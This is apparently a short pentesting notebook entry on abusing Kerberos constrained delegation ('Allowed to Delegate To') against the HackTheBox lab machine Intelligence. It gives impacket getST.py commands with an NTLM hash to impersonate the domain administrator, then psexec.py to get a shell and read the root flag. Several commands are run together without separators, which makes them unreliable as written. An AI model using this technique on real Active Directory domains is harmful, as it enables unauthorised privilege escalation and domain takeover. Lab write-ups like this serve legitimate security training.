# Allowed to Delegate To:

{% embed url="https://youtu.be/LI8wnTUc5-I?t=7961" %}

{% embed url="https://www.hackingarticles.in/intelligence-hackthebox-walkthrough/" %}

```
python3 /usr/share/doc/python3-impacket/examples/getST.py intelligence.htb/svc_int$ -spn WWW/dc.intelligence.htb -hashes :6e03616eef48ba6a15be62280aefcdb2 -impersonate administrator
```

export KRB5CCNAME=administrator.ccacheecho "10.129.163.131 dc.intelligence.htb" >> /etc/hostsklist

![](https://blogger.googleusercontent.com/img/a/AVvXsEgBK43b6HsiVHsEHHfbE-jfg-YVMr9dmj8fWWzRXCp0foqcbKAdrVJ1zmU5fiYHp9UH5Uzmy9ukKyyigc0t2B8oTKRQrsbg83CjzNeXusSDOpBJTEtLOgEF86PhEvpJK-WSxvxsQ850usqdP9t8Xp6SI256bPCUoK33Zc3um3MJBb4tHwccv3OLl1yJSA=s16000)

Finally, we can use Impacket’s psexec to connect as an administrator and snag our root flag!

python3 /usr/share/doc/python3-impacket/examples/psexec.py -k -no-pass dc.intelligence.htbcd ../../Users/Administratortype root.txt

![](https://blogger.googleusercontent.com/img/a/AVvXsEjXkmd4KS6O65OPnCk2xQZg758U3a_CtE6PEBOoAv92aE6hss18FA3QD26wBNVbaGFh-S6bb_Z22G1BgeRDoYG9ISIFoUNsStjCcIopD87QnJuARCIslipvoGIYV3sxeXk2bCnzmDJchPjReDlufgNcpTjeH33HwPVhfWTdz1wgBPSqlHGNCn9jeyp9AA=s16000)
